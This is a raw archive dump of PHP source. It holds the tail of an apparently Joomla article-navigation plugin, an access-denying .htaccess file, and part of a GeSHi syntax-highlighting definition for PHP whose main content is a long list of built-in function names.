(int)$row->state . ($canPublish ? '' : ' AND a.access = ' .(int)$row->access) . $xwhere); $query->order($orderby); if ($app->isSite() && $app->getLanguageFilter()) { $query->where('a.language in ('.$db->quote($lang->getTag()).','.$db->quote('*').')'); } $db->setQuery($query); $list = $db->loadObjectList('id'); // This check needed if incorrect Itemid is given resulting in an incorrect result. if (!is_array($list)) { $list = array(); } reset($list); // Location of current content item in array list. $location = array_search($uid, array_keys($list)); $rows = array_values($list); $row->prev = null; $row->next = null; if ($location -1 >= 0) { // The previous content item cannot be in the array position -1. $row->prev = $rows[$location -1]; } if (($location +1) < count($rows)) { // The next content item cannot be in an array position greater than the number of array postions. $row->next = $rows[$location +1]; } $pnSpace = ""; if (JText::_('JGLOBAL_LT') || JText::_('JGLOBAL_GT')) { $pnSpace = " "; } if ($row->prev) { $row->prev = JRoute::_(ContentHelperRoute::getArticleRoute($row->prev->slug, $row->prev->catslug, $row->prev->language)); } else { $row->prev = ''; } if ($row->next) { $row->next = JRoute::_(ContentHelperRoute::getArticleRoute($row->next->slug, $row->next->catslug, $row->next->language)); } else { $row->next = ''; } // Output. if ($row->prev || $row->next) { $html = ' ' ; $row->pagination = $html; $row->paginationposition = $this->params->get('position', 1); // This will default to the 1.5 and 1.6-1.7 behavior. $row->paginationrelative = $this->params->get('relative',0); } } return ; } } PK>\)geshi/geshi/.htaccessnuW+A Order allow,deny Deny from all PK>\\OOgeshi/geshi/geshi/php.phpnuW+A 'PHP', 'COMMENT_SINGLE' => array(1 => '//', 2 => '#'), 'COMMENT_MULTI' => array('/*' => '*/'), 'COMMENT_REGEXP' => array( //Heredoc and Nowdoc syntax 3 => '/<<<\s*?(\'?)([a-zA-Z0-9]+?)\1[^\n]*?\\n.*\\n\\2(?![a-zA-Z0-9])/siU', // phpdoc comments 4 => '#/\*\*(?![\*\/]).*\*/#sU', // Advanced # handling 2 => "/#.*?(?:(?=\?\>)|^)/smi" ), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array('"'), 'ESCAPE_CHAR' => '', 'ESCAPE_REGEXP' => array( //Simple Single Char Escapes 1 => "#\\\\[nfrtv\$\"\n\\\\]#i", //Hexadecimal Char Specs 2 => "#\\\\x[\da-fA-F]{1,2}#i", //Octal Char Specs 3 => "#\\\\[0-7]{1,3}#", //String Parsing of Variable Names 4 => "#\\$[a-z0-9_]+(?:\\[[a-z0-9_]+\\]|->[a-z0-9_]+)?|(?:\\{\\$|\\$\\{)[a-z0-9_]+(?:\\[('?)[a-z0-9_]*\\1\\]|->[a-z0-9_]+)*\\}#i", //Experimental extension supporting cascaded {${$var}} syntax 5 => "#\$[a-z0-9_]+(?:\[[a-z0-9_]+\]|->[a-z0-9_]+)?|(?:\{\$|\$\{)[a-z0-9_]+(?:\[('?)[a-z0-9_]*\\1\]|->[a-z0-9_]+)*\}|\{\$(?R)\}#i", //Format String support in ""-Strings 6 => "#%(?:%|(?:\d+\\\\\\\$)?\\+?(?:\x20|0|'.)?-?(?:\d+|\\*)?(?:\.\d+)?[bcdefFosuxX])#" ), 'HARDQUOTE' => array("'", "'"), 'HARDESCAPE' => array("'", "\\"), 'HARDCHAR' => "\\", 'NUMBERS' => GESHI_NUMBER_INT_BASIC | GESHI_NUMBER_OCT_PREFIX | GESHI_NUMBER_HEX_PREFIX | GESHI_NUMBER_FLT_SCI_ZERO, 'KEYWORDS' => array( 1 => array( 'as','break','case','continue','default','do','else','elseif', 'endfor','endforeach','endif','endswitch','endwhile','for', 'foreach','if','include','include_once','require','require_once', 'return','switch','throw','while', 'echo','print' ), 2 => array( '&new','</script>','<?php','<script language', 'class','const','declare','extends','function','global','interface', 'namespace','new','private','protected','public','self','use','var' ), 3 => array( 'abs','acos','acosh','addcslashes','addslashes','aggregate', 'aggregate_methods','aggregate_methods_by_list', 'aggregate_methods_by_regexp','aggregate_properties', 'aggregate_properties_by_list','aggregate_properties_by_regexp', 'aggregation_info','apache_child_terminate','apache_get_modules', 'apache_get_version','apache_getenv','apache_lookup_uri', 'apache_note','apache_request_headers','apache_response_headers', 'apache_setenv','array','array_change_key_case','array_chunk', 'array_combine','array_count_values','array_diff', 'array_diff_assoc','array_diff_key','array_diff_uassoc', 'array_diff_ukey','array_fill','array_fill_keys','array_filter', 'array_flip','array_intersect','array_intersect_assoc', 'array_intersect_key','array_intersect_uassoc', 'array_intersect_ukey','array_key_exists','array_keys','array_map', 'array_merge','array_merge_recursive','array_multisort','array_pad', 'array_pop','array_product','array_push','array_rand', 'array_reduce','array_reverse','array_search','array_shift', 'array_slice','array_splice','array_sum','array_udiff', 'array_udiff_assoc','array_udiff_uassoc','array_uintersect', 'array_uintersect_assoc','array_uintersect_uassoc','array_unique', 'array_unshift','array_values','array_walk','array_walk_recursive', 'arsort','asin','asinh','asort','assert','assert_options','atan', 'atan2','atanh','base_convert','base64_decode','base64_encode', 'basename','bcadd','bccomp','bcdiv','bcmod','bcmul', 'bcompiler_load','bcompiler_load_exe','bcompiler_parse_class', 'bcompiler_read','bcompiler_write_class','bcompiler_write_constant', 'bcompiler_write_exe_footer','bcompiler_write_file', 'bcompiler_write_footer','bcompiler_write_function', 'bcompiler_write_functions_from_file','bcompiler_write_header', 'bcompiler_write_included_filename','bcpow','bcpowmod','bcscale', 'bcsqrt','bcsub','bin2hex','bindec','bindtextdomain', 'bind_textdomain_codeset','bitset_empty','bitset_equal', 'bitset_excl','bitset_fill','bitset_from_array','bitset_from_hash', 'bitset_from_string','bitset_in','bitset_incl', 'bitset_intersection','bitset_invert','bitset_is_empty', 'bitset_subset','bitset_to_array','bitset_to_hash', 'bitset_to_string','bitset_union','blenc_encrypt','bzclose', 'bzcompress','bzdecompress','bzerrno','bzerror','bzerrstr', 'bzflush','bzopen','bzread','bzwrite','cal_days_in_month', 'cal_from_jd','cal_info','cal_to_jd','call_user_func', 'call_user_func_array','call_user_method','call_user_method_array', 'ceil','chdir','checkdate','checkdnsrr','chgrp','chmod','chop', 'chown','chr','chunk_split','class_exists','class_implements', 'class_parents','classkit_aggregate_methods', 'classkit_doc_comments','classkit_import','classkit_method_add', 'classkit_method_copy','classkit_method_redefine', 'classkit_method_remove','classkit_method_rename','clearstatcache', 'closedir','closelog','com_create_guid','com_event_sink', 'com_get_active_object','com_load_typelib','com_message_pump', 'com_print_typeinfo','compact','confirm_phpdoc_compiled', 'connection_aborted','connection_status','constant', 'convert_cyr_string','convert_uudecode','convert_uuencode','copy', 'cos','cosh','count','count_chars','cpdf_add_annotation', 'cpdf_add_outline','cpdf_arc','cpdf_begin_text','cpdf_circle', 'cpdf_clip','cpdf_close','cpdf_closepath', 'cpdf_closepath_fill_stroke','cpdf_closepath_stroke', 'cpdf_continue_text','cpdf_curveto','cpdf_end_text','cpdf_fill', 'cpdf_fill_stroke','cpdf_finalize','cpdf_finalize_page', 'cpdf_global_set_document_limits','cpdf_import_jpeg','cpdf_lineto', 'cpdf_moveto','cpdf_newpath','cpdf_open','cpdf_output_buffer', 'cpdf_page_init','cpdf_rect','cpdf_restore','cpdf_rlineto', 'cpdf_rmoveto','cpdf_rotate','cpdf_rotate_text','cpdf_save', 'cpdf_save_to_file','cpdf_scale','cpdf_set_action_url', 'cpdf_set_char_spacing','cpdf_set_creator','cpdf_set_current_page', 'cpdf_set_font','cpdf_set_font_directories', 'cpdf_set_font_map_file','cpdf_set_horiz_scaling', 'cpdf_set_keywords','cpdf_set_leading','cpdf_set_page_animation', 'cpdf_set_subject','cpdf_set_text_matrix','cpdf_set_text_pos', 'cpdf_set_text_rendering','cpdf_set_text_rise','cpdf_set_title', 'cpdf_set_viewer_preferences','cpdf_set_word_spacing', 'cpdf_setdash','cpdf_setflat','cpdf_setgray','cpdf_setgray_fill', 'cpdf_setgray_stroke','cpdf_setlinecap','cpdf_setlinejoin', 'cpdf_setlinewidth','cpdf_setmiterlimit','cpdf_setrgbcolor', 'cpdf_setrgbcolor_fill','cpdf_setrgbcolor_stroke','cpdf_show', 'cpdf_show_xy','cpdf_stringwidth','cpdf_stroke','cpdf_text', 'cpdf_translate','crack_check','crack_closedict', 'crack_getlastmessage','crack_opendict','crc32','create_function', 'crypt','ctype_alnum','ctype_alpha','ctype_cntrl','ctype_digit', 'ctype_graph','ctype_lower','ctype_print','ctype_punct', 'ctype_space','ctype_upper','ctype_xdigit','curl_close', 'curl_copy_handle','curl_errno','curl_error','curl_exec', 'curl_getinfo','curl_init','curl_multi_add_handle', 'curl_multi_close','curl_multi_exec','curl_multi_getcontent', 'curl_multi_info_read','curl_multi_init','curl_multi_remove_handle', 'curl_multi_select','curl_setopt','curl_setopt_array', 'curl_version','current','cvsclient_connect','cvsclient_log', 'cvsclient_login','cvsclient_retrieve','date','date_create', 'date_date_set','date_default_timezone_get', 'date_default_timezone_set','date_format','date_isodate_set', 'date_modify','date_offset_get','date_parse','date_sun_info', 'date_sunrise','date_sunset','date_time_set','date_timezone_get', 'date_timezone_set','db_id_list','dba_close','dba_delete', 'dba_exists','dba_fetch','dba_firstkey','dba_handlers','dba_insert', 'dba_key_split','dba_list','dba_nextkey','dba_open','dba_optimize', 'dba_popen','dba_replace','dba_sync','dbase_add_record', 'dbase_close','dbase_create','dbase_delete_record', 'dbase_get_header_info','dbase_get_record', 'dbase_get_record_with_names','dbase_numfields','dbase_numrecords', 'dbase_open','dbase_pack','dbase_replace_record', 'dbg_get_all_contexts','dbg_get_all_module_names', 'dbg_get_all_source_lines','dbg_get_context_name', 'dbg_get_module_name','dbg_get_profiler_results', 'dbg_get_source_context','dblist','dbmclose','dbmdelete', 'dbmexists','dbmfetch','dbmfirstkey','dbminsert','dbmnextkey', 'dbmopen','dbmreplace','dbx_close','dbx_compare','dbx_connect', 'dbx_error','dbx_escape_string','dbx_fetch_row','dbx_query', 'dbx_sort','dcgettext','dcngettext','deaggregate','debug_backtrace', 'debug_zval_dump','debugbreak','decbin','dechex','decoct','define', 'defined','define_syslog_variables','deg2rad','dgettext','die', 'dio_close','dio_open','dio_read','dio_seek','dio_stat','dio_write', 'dir','dirname','disk_free_space','disk_total_space', 'diskfreespace','dl','dngettext','docblock_token_name', 'docblock_tokenize','dom_import_simplexml','domxml_add_root', 'domxml_attributes','domxml_children','domxml_doc_add_root', 'domxml_doc_document_element','domxml_doc_get_element_by_id', 'domxml_doc_get_elements_by_tagname','domxml_doc_get_root', 'domxml_doc_set_root','domxml_doc_validate','domxml_doc_xinclude', 'domxml_dump_mem','domxml_dump_mem_file','domxml_dump_node', 'domxml_dumpmem','domxml_elem_get_attribute', 'domxml_elem_set_attribute','domxml_get_attribute','domxml_getattr', 'domxml_html_dump_mem','domxml_new_child','domxml_new_doc', 'domxml_new_xmldoc','domxml_node','domxml_node_add_namespace', 'domxml_node_attributes','domxml_node_children', 'domxml_node_get_content','domxml_node_has_attributes', 'domxml_node_new_child','domxml_node_set_content', 'domxml_node_set_namespace','domxml_node_unlink_node', 'domxml_open_file','domxml_open_mem','domxml_parser', 'domxml_parser_add_chunk','domxml_parser_cdata_section', 'domxml_parser_characters','domxml_parser_comment', 'domxml_parser_end','domxml_parser_end_document', 'domxml_parser_end_element','domxml_parser_entity_reference', 'domxml_parser_get_document','domxml_parser_namespace_decl', 'domxml_parser_processing_instruction', 'domxml_parser_start_document','domxml_parser_start_element', 'domxml_root','domxml_set_attribute','domxml_setattr', 'domxml_substitute_entities_default','domxml_unlink_node', 'domxml_version','domxml_xmltree','doubleval','each','easter_date', 'easter_days','empty','end','ereg','ereg_replace','eregi', 'eregi_replace','error_get_last','error_log','error_reporting', 'escapeshellarg','escapeshellcmd','eval','event_deschedule', 'event_dispatch','event_free','event_handle_signal', 'event_have_events','event_init','event_new','event_pending', 'event_priority_set','event_schedule','event_set','event_timeout', 'exec','exif_imagetype','exif_read_data','exif_tagname', 'exif_thumbnail','exit','exp','explode','expm1','extension_loaded', 'extract','ezmlm_hash','fbird_add_user','fbird_affected_rows', 'fbird_backup','fbird_blob_add','fbird_blob_cancel', 'fbird_blob_close','fbird_blob_create','fbird_blob_echo', 'fbird_blob_get','fbird_blob_import','fbird_blob_info', 'fbird_blob_open','fbird_close','fbird_commit','fbird_commit_ret', 'fbird_connect','fbird_db_info','fbird_delete_user','fbird_drop_db', 'fbird_errcode','fbird_errmsg','fbird_execute','fbird_fetch_assoc', 'fbird_fetch_object','fbird_fetch_row','fbird_field_info', 'fbird_free_event_handler','fbird_free_query','fbird_free_result', 'fbird_gen_id','fbird_maintain_db','fbird_modify_user', 'fbird_name_result','fbird_num_fields','fbird_num_params', 'fbird_param_info','fbird_pconnect','fbird_prepare','fbird_query', 'fbird_restore','fbird_rollback','fbird_rollback_ret', 'fbird_server_info','fbird_service_attach','fbird_service_detach', 'fbird_set_event_handler','fbird_trans','fbird_wait_event','fclose', 'fdf_add_doc_javascript','fdf_add_template','fdf_close', 'fdf_create','fdf_enum_values','fdf_errno','fdf_error','fdf_get_ap', 'fdf_get_attachment','fdf_get_encoding','fdf_get_file', 'fdf_get_flags','fdf_get_opt','fdf_get_status','fdf_get_value', 'fdf_get_version','fdf_header','fdf_next_field_name','fdf_open', 'fdf_open_string','fdf_remove_item','fdf_save','fdf_save_string', 'fdf_set_ap','fdf_set_encoding','fdf_set_file','fdf_set_flags', 'fdf_set_javascript_action','fdf_set_on_import_javascript', 'fdf_set_opt','fdf_set_status','fdf_set_submit_form_action', 'fdf_set_target_frame','fdf_set_value','fdf_set_version','feof', 'fflush','fgetc','fgetcsv','fgets','fgetss','file','file_exists', 'file_get_contents','file_put_contents','fileatime','filectime', 'filegroup','fileinode','filemtime','fileowner','fileperms', 'filepro','filepro_fieldcount','filepro_fieldname', 'filepro_fieldtype','filepro_fieldwidth','filepro_retrieve', 'filepro_rowcount','filesize','filetype','filter_has_var', 'filter_id','filter_input','filter_input_array','filter_list', 'filter_var','filter_var_array','finfo_buffer','finfo_close', 'finfo_file','finfo_open','finfo_set_flags','floatval','flock', 'floor','flush','fmod','fnmatch','fopen','fpassthru','fprintf', 'fputcsv','fputs','fread','frenchtojd','fribidi_charset_info', 'fribidi_get_charsets','fribidi_log2vis','fscanf','fseek', 'fsockopen','fstat','ftell','ftok','ftp_alloc','ftp_cdup', 'ftp_chdir','ftp_chmod','ftp_close','ftp_connect','ftp_delete', 'ftp_exec','ftp_fget','ftp_fput','ftp_get','ftp_get_option', 'ftp_login','ftp_mdtm','ftp_mkdir','ftp_nb_continue','ftp_nb_fget', 'ftp_nb_fput','ftp_nb_get','ftp_nb_put','ftp_nlist','ftp_pasv', 'ftp_put','ftp_pwd','ftp_quit','ftp_raw','ftp_rawlist','ftp_rename', 'ftp_rmdir','ftp_set_option','ftp_site','ftp_size', 'ftp_ssl_connect','ftp_systype','ftruncate','function_exists', 'func_get_arg','func_get_args','func_num_args','fwrite','gd_info', 'getallheaders','getcwd','getdate','getenv','gethostbyaddr', 'gethostbyname','gethostbynamel','getimagesize','getlastmod', 'getmxrr','getmygid','getmyinode','getmypid','getmyuid','getopt', 'getprotobyname','getprotobynumber','getrandmax','getrusage', 'getservbyname','getservbyport','gettext','gettimeofday','gettype', 'get_browser','get_cfg_var','get_class','get_class_methods', 'get_class_vars','get_current_user','get_declared_classes', 'get_defined_constants','get_defined_functions','get_defined_vars', 'get_extension_funcs','get_headers','get_html_translation_table', 'get_included_files','get_include_path','get_loaded_extensions', 'get_magic_quotes_gpc','get_magic_quotes_runtime','get_meta_tags', 'get_object_vars','get_parent_class','get_required_files', 'get_resource_type','glob','gmdate','gmmktime','gmp_abs','gmp_add', 'gmp_and','gmp_clrbit','gmp_cmp','gmp_com','gmp_div','gmp_div_q', 'gmp_div_qr','gmp_div_r','gmp_divexact','gmp_fact','gmp_gcd', 'gmp_gcdext','gmp_hamdist','gmp_init','gmp_intval','gmp_invert', 'gmp_jacobi','gmp_legendre','gmp_mod','gmp_mul','gmp_neg', 'gmp_nextprime','gmp_or','gmp_perfect_square','gmp_popcount', 'gmp_pow','gmp_powm','gmp_prob_prime','gmp_random','gmp_scan0', 'gmp_scan1','gmp_setbit','gmp_sign','gmp_sqrt','gmp_sqrtrem', 'gmp_strval','gmp_sub','gmp_xor','gmstrftime','gopher_parsedir', 'gregoriantojd','gzclose','gzcompress','gzdeflate','gzencode', 'gzeof','gzfile','gzgetc','gzgets','gzgetss','gzinflate','gzopen', 'gzpassthru','gzputs','gzread','gzrewind','gzseek','gztell', 'gzuncompress','gzwrite','hash','hash_algos','hash_file', 'hash_final','hash_hmac','hash_hmac_file','hash_init','hash_update', 'hash_update_file','hash_update_stream','header','headers_list', 'headers_sent','hebrev','hebrevc','hexdec','highlight_file', 'highlight_string','html_doc','html_doc_file','html_entity_decode', 'htmlentities','htmlspecialchars','htmlspecialchars_decode', 'http_build_cookie','http_build_query','http_build_str', 'http_build_url','http_cache_etag','http_cache_last_modified', 'http_chunked_decode','http_date','http_deflate','http_get', 'http_get_request_body','http_get_request_body_stream', 'http_get_request_headers','http_head','http_inflate', 'http_match_etag','http_match_modified','http_match_request_header', 'http_negotiate_charset','http_negotiate_content_type', 'http_negotiate_language','http_parse_cookie','http_parse_headers', 'http_parse_message','http_parse_params', 'http_persistent_handles_clean','http_persistent_handles_count', 'http_persistent_handles_ident','http_post_data','http_post_fields', 'http_put_data','http_put_file','http_put_stream','http_redirect', 'http_request','http_request_body_encode', 'http_request_method_exists','http_request_method_name', 'http_request_method_register','http_request_method_unregister', 'http_send_content_disposition','http_send_content_type', 'http_send_data','http_send_file','http_send_last_modified', 'http_send_status','http_send_stream','http_support', 'http_throttle','hypot','i18n_convert','i18n_discover_encoding', 'i18n_http_input','i18n_http_output','i18n_internal_encoding', 'i18n_ja_jp_hantozen','i18n_mime_header_decode', 'i18n_mime_header_encode','ibase_add_user','ibase_affected_rows', 'ibase_backup','ibase_blob_add','ibase_blob_cancel', 'ibase_blob_close','ibase_blob_create','ibase_blob_echo', 'ibase_blob_get','ibase_blob_import','ibase_blob_info', 'ibase_blob_open','ibase_close','ibase_commit','ibase_commit_ret', 'ibase_connect','ibase_db_info','ibase_delete_user','ibase_drop_db', 'ibase_errcode','ibase_errmsg','ibase_execute','ibase_fetch_assoc', 'ibase_fetch_object','ibase_fetch_row','ibase_field_info', 'ibase_free_event_handler','ibase_free_query','ibase_free_result', 'ibase_gen_id','ibase_maintain_db','ibase_modify_user', 'ibase_name_result','ibase_num_fields','ibase_num_params', 'ibase_param_info','ibase_pconnect','ibase_prepare','ibase_query', 'ibase_restore','ibase_rollback','ibase_rollback_ret', 'ibase_server_info','ibase_service_attach','ibase_service_detach', 'ibase_set_event_handler','ibase_trans','ibase_wait_event','iconv', 'iconv_get_encoding','iconv_mime_decode', 'iconv_mime_decode_headers','iconv_mime_encode', 'iconv_set_encoding','iconv_strlen','iconv_strpos','iconv_strrpos', 'iconv_substr','id3_get_frame_long_name','id3_get_frame_short_name', 'id3_get_genre_id','id3_get_genre_list','id3_get_genre_name', 'id3_get_tag','id3_get_version','id3_remove_tag','id3_set_tag', 'idate','ignore_user_abort','image_type_to_extension', 'image_type_to_mime_type','image2wbmp','imagealphablending', 'imageantialias','imagearc','imagechar','imagecharup', 'imagecolorallocate','imagecolorallocatealpha','imagecolorat', 'imagecolorclosest','imagecolorclosestalpha','imagecolordeallocate', 'imagecolorexact','imagecolorexactalpha','imagecolormatch', 'imagecolorresolve','imagecolorresolvealpha','imagecolorset', 'imagecolorsforindex','imagecolorstotal','imagecolortransparent', 'imageconvolution','imagecopy','imagecopymerge', 'imagecopymergegray','imagecopyresampled','imagecopyresized', 'imagecreate','imagecreatefromgd','imagecreatefromgd2', 'imagecreatefromgd2part','imagecreatefromgif','imagecreatefromjpeg', 'imagecreatefrompng','imagecreatefromstring','imagecreatefromwbmp', 'imagecreatefromxbm','imagecreatetruecolor','imagedashedline', 'imagedestroy','imageellipse','imagefill','imagefilledarc', 'imagefilledellipse','imagefilledpolygon','imagefilledrectangle', 'imagefilltoborder','imagefilter','imagefontheight', 'imagefontwidth','imageftbbox','imagefttext','imagegammacorrect', 'imagegd','imagegd2','imagegif','imagegrabscreen','imagegrabwindow', 'imageinterlace','imageistruecolor','imagejpeg','imagelayereffect', 'imageline','imageloadfont','imagepalettecopy','imagepng', 'imagepolygon','imagepsbbox','imagepsencodefont', 'imagepsextendfont','imagepsfreefont','imagepsloadfont', 'imagepsslantfont','imagepstext','imagerectangle','imagerotate', 'imagesavealpha','imagesetbrush','imagesetpixel','imagesetstyle', 'imagesetthickness','imagesettile','imagestring','imagestringup', 'imagesx','imagesy','imagetruecolortopalette','imagettfbbox', 'imagettftext','imagetypes','imagewbmp','imagexbm','imap_8bit', 'imap_alerts','imap_append','imap_base64','imap_binary','imap_body', 'imap_bodystruct','imap_check','imap_clearflag_full','imap_close', 'imap_create','imap_createmailbox','imap_delete', 'imap_deletemailbox','imap_errors','imap_expunge', 'imap_fetch_overview','imap_fetchbody','imap_fetchheader', 'imap_fetchstructure','imap_fetchtext','imap_get_quota', 'imap_get_quotaroot','imap_getacl','imap_getmailboxes', 'imap_getsubscribed','imap_header','imap_headerinfo','imap_headers', 'imap_last_error','imap_list','imap_listmailbox', 'imap_listsubscribed','imap_lsub','imap_mail','imap_mail_compose', 'imap_mail_copy','imap_mail_move','imap_mailboxmsginfo', 'imap_mime_header_decode','imap_msgno','imap_num_msg', 'imap_num_recent','imap_open','imap_ping','imap_qprint', 'imap_rename','imap_renamemailbox','imap_reopen', 'imap_rfc822_parse_adrlist','imap_rfc822_parse_headers', 'imap_rfc822_write_address','imap_savebody','imap_scan', 'imap_scanmailbox','imap_search','imap_set_quota','imap_setacl', 'imap_setflag_full','imap_sort','imap_status','imap_subscribe', 'imap_thread','imap_timeout','imap_uid','imap_undelete', 'imap_unsubscribe','imap_utf7_decode','imap_utf7_encode', 'imap_utf8','implode','import_request_variables','in_array', 'ini_alter','ini_get','ini_get_all','ini_restore','ini_set', 'intval','ip2long','iptcembed','iptcparse','isset','is_a', 'is_array','is_bool','is_callable','is_dir','is_double', 'is_executable','is_file','is_finite','is_float','is_infinite', 'is_int','is_integer','is_link','is_long','is_nan','is_null', 'is_numeric','is_object','is_readable','is_real','is_resource', 'is_scalar','is_soap_fault','is_string','is_subclass_of', 'is_uploaded_file','is_writable','is_writeable','iterator_apply', 'iterator_count','iterator_to_array','java_last_exception_clear', 'java_last_exception_get','jddayofweek','jdmonthname','jdtofrench', 'jdtogregorian','jdtojewish','jdtojulian','jdtounix','jewishtojd', 'join','jpeg2wbmp','json_decode','json_encode','juliantojd','key', 'key_exists','krsort','ksort','lcg_value','ldap_add','ldap_bind', 'ldap_close','ldap_compare','ldap_connect','ldap_count_entries', 'ldap_delete','ldap_dn2ufn','ldap_err2str','ldap_errno', 'ldap_error','ldap_explode_dn','ldap_first_attribute', 'ldap_first_entry','ldap_first_reference','ldap_free_result', 'ldap_get_attributes','ldap_get_dn','ldap_get_entries', 'ldap_get_option','ldap_get_values','ldap_get_values_len', 'ldap_list','ldap_mod_add','ldap_mod_del','ldap_mod_replace', 'ldap_modify','ldap_next_attribute','ldap_next_entry', 'ldap_next_reference','ldap_parse_reference','ldap_parse_result', 'ldap_read','ldap_rename','ldap_search','ldap_set_option', 'ldap_sort','ldap_start_tls','ldap_unbind','levenshtein', 'libxml_clear_errors','libxml_get_errors','libxml_get_last_error', 'libxml_set_streams_context','libxml_use_internal_errors','link', 'linkinfo','list','localeconv','localtime','log','log1p','log10', 'long2ip','lstat','ltrim','lzf_compress','lzf_decompress', 'lzf_optimized_for','magic_quotes_runtime','mail','max','mbereg', 'mberegi','mberegi_replace','mbereg_match','mbereg_replace', 'mbereg_search','mbereg_search_getpos','mbereg_search_getregs', 'mbereg_search_init','mbereg_search_pos','mbereg_search_regs', 'mbereg_search_setpos','mbregex_encoding','mbsplit','mbstrcut', 'mbstrlen','mbstrpos','mbstrrpos','mbsubstr','mb_check_encoding', 'mb_convert_case','mb_convert_encoding','mb_convert_kana', 'mb_convert_variables','mb_decode_mimeheader', 'mb_decode_numericentity','mb_detect_encoding','mb_detect_order', 'mb_encode_mimeheader','mb_encode_numericentity','mb_ereg', 'mb_eregi','mb_eregi_replace','mb_ereg_match','mb_ereg_replace', 'mb_ereg_search','mb_ereg_search_getpos','mb_ereg_search_getregs', 'mb_ereg_search_init','mb_ereg_search_pos','mb_ereg_search_regs', 'mb_ereg_search_setpos','mb_get_info','mb_http_input', 'mb_http_output','mb_internal_encoding','mb_language', 'mb_list_encodings','mb_output_handler','mb_parse_str', 'mb_preferred_mime_name','mb_regex_encoding','mb_regex_set_options', 'mb_send_mail','mb_split','mb_strcut','mb_strimwidth','mb_stripos', 'mb_stristr','mb_strlen','mb_strpos','mb_strrchr','mb_strrichr', 'mb_strripos','mb_strrpos','mb_strstr','mb_strtolower', 'mb_strtoupper','mb_strwidth','mb_substitute_character','mb_substr', 'mb_substr_count','mcrypt_cbc','mcrypt_cfb','mcrypt_create_iv', 'mcrypt_decrypt','mcrypt_ecb','mcrypt_enc_get_algorithms_name', 'mcrypt_enc_get_block_size','mcrypt_enc_get_iv_size', 'mcrypt_enc_get_key_size','mcrypt_enc_get_modes_name', 'mcrypt_enc_get_supported_key_sizes', 'mcrypt_enc_is_block_algorithm', 'mcrypt_enc_is_block_algorithm_mode','mcrypt_enc_is_block_mode', 'mcrypt_enc_self_test','mcrypt_encrypt','mcrypt_generic', 'mcrypt_generic_deinit','mcrypt_generic_end','mcrypt_generic_init', 'mcrypt_get_block_size','mcrypt_get_cipher_name', 'mcrypt_get_iv_size','mcrypt_get_key_size','mcrypt_list_algorithms', 'mcrypt_list_modes','mcrypt_module_close', 'mcrypt_module_get_algo_block_size', 'mcrypt_module_get_algo_key_size', 'mcrypt_module_get_supported_key_sizes', 'mcrypt_module_is_block_algorithm', 'mcrypt_module_is_block_algorithm_mode', 'mcrypt_module_is_block_mode','mcrypt_module_open', 'mcrypt_module_self_test','mcrypt_ofb','md5','md5_file', 'mdecrypt_generic','memcache_add','memcache_add_server', 'memcache_close','memcache_connect','memcache_debug', 'memcache_decrement','memcache_delete','memcache_flush', 'memcache_get','memcache_get_extended_stats', 'memcache_get_server_status','memcache_get_stats', 'memcache_get_version','memcache_increment','memcache_pconnect', 'memcache_replace','memcache_set','memcache_set_compress_threshold', 'memcache_set_server_params','memory_get_peak_usage', 'memory_get_usage','metaphone','mhash','mhash_count', 'mhash_get_block_size','mhash_get_hash_name','mhash_keygen_s2k', 'method_exists','microtime','mime_content_type','min', 'ming_keypress','ming_setcubicthreshold','ming_setscale', 'ming_useconstants','ming_useswfversion','mkdir','mktime', 'money_format','move_uploaded_file','msql','msql_affected_rows', 'msql_close','msql_connect','msql_create_db','msql_createdb', 'msql_data_seek','msql_db_query','msql_dbname','msql_drop_db', 'msql_dropdb','msql_error','msql_fetch_array','msql_fetch_field', 'msql_fetch_object','msql_fetch_row','msql_field_flags', 'msql_field_len','msql_field_name','msql_field_seek', 'msql_field_table','msql_field_type','msql_fieldflags', 'msql_fieldlen','msql_fieldname','msql_fieldtable','msql_fieldtype', 'msql_free_result','msql_freeresult','msql_list_dbs', 'msql_list_fields','msql_list_tables','msql_listdbs', 'msql_listfields','msql_listtables','msql_num_fields', 'msql_num_rows','msql_numfields','msql_numrows','msql_pconnect', 'msql_query','msql_regcase','msql_result','msql_select_db', 'msql_selectdb','msql_tablename','mssql_bind','mssql_close', 'mssql_connect','mssql_data_seek','mssql_execute', 'mssql_fetch_array','mssql_fetch_assoc','mssql_fetch_batch', 'mssql_fetch_field','mssql_fetch_object','mssql_fetch_row', 'mssql_field_length','mssql_field_name','mssql_field_seek', 'mssql_field_type','mssql_free_result','mssql_free_statement', 'mssql_get_last_message','mssql_guid_string','mssql_init', 'mssql_min_error_severity','mssql_min_message_severity', 'mssql_next_result','mssql_num_fields','mssql_num_rows', 'mssql_pconnect','mssql_query','mssql_result','mssql_rows_affected', 'mssql_select_db','mt_getrandmax','mt_rand','mt_srand','mysql', 'mysql_affected_rows','mysql_client_encoding','mysql_close', 'mysql_connect','mysql_createdb','mysql_create_db', 'mysql_data_seek','mysql_dbname','mysql_db_name','mysql_db_query', 'mysql_dropdb','mysql_drop_db','mysql_errno','mysql_error', 'mysql_escape_string','mysql_fetch_array','mysql_fetch_assoc', 'mysql_fetch_field','mysql_fetch_lengths','mysql_fetch_object', 'mysql_fetch_row','mysql_fieldflags','mysql_fieldlen', 'mysql_fieldname','mysql_fieldtable','mysql_fieldtype', 'mysql_field_flags','mysql_field_len','mysql_field_name', 'mysql_field_seek','mysql_field_table','mysql_field_type', 'mysql_freeresult','mysql_free_result','mysql_get_client_info', 'mysql_get_host_info','mysql_get_proto_info', 'mysql_get_server_info','mysql_info','mysql_insert_id', 'mysql_listdbs','mysql_listfields','mysql_listtables', 'mysql_list_dbs','mysql_list_fields','mysql_list_processes', 'mysql_list_tables','mysql_numfields','mysql_numrows', 'mysql_num_fields','mysql_num_rows','mysql_pconnect','mysql_ping', 'mysql_query','mysql_real_escape_string','mysql_result', 'mysql_selectdb','mysql_select_db','mysql_set_charset','mysql_stat', 'mysql_tablename','mysql_table_name','mysql_thread_id', 'mysql_unbuffered_query','mysqli_affected_rows','mysqli_autocommit', 'mysqli_bind_param','mysqli_bind_result','mysqli_change_user', 'mysqli_character_set_name','mysqli_client_encoding','mysqli_close', 'mysqli_commit','mysqli_connect','mysqli_connect_errno', 'mysqli_connect_error','mysqli_data_seek','mysqli_debug', 'mysqli_disable_reads_from_master','mysqli_disable_rpl_parse', 'mysqli_dump_debug_info','mysqli_embedded_server_end', 'mysqli_embedded_server_start','mysqli_enable_reads_from_master', 'mysqli_enable_rpl_parse','mysqli_errno','mysqli_error', 'mysqli_escape_string','mysqli_execute','mysqli_fetch', 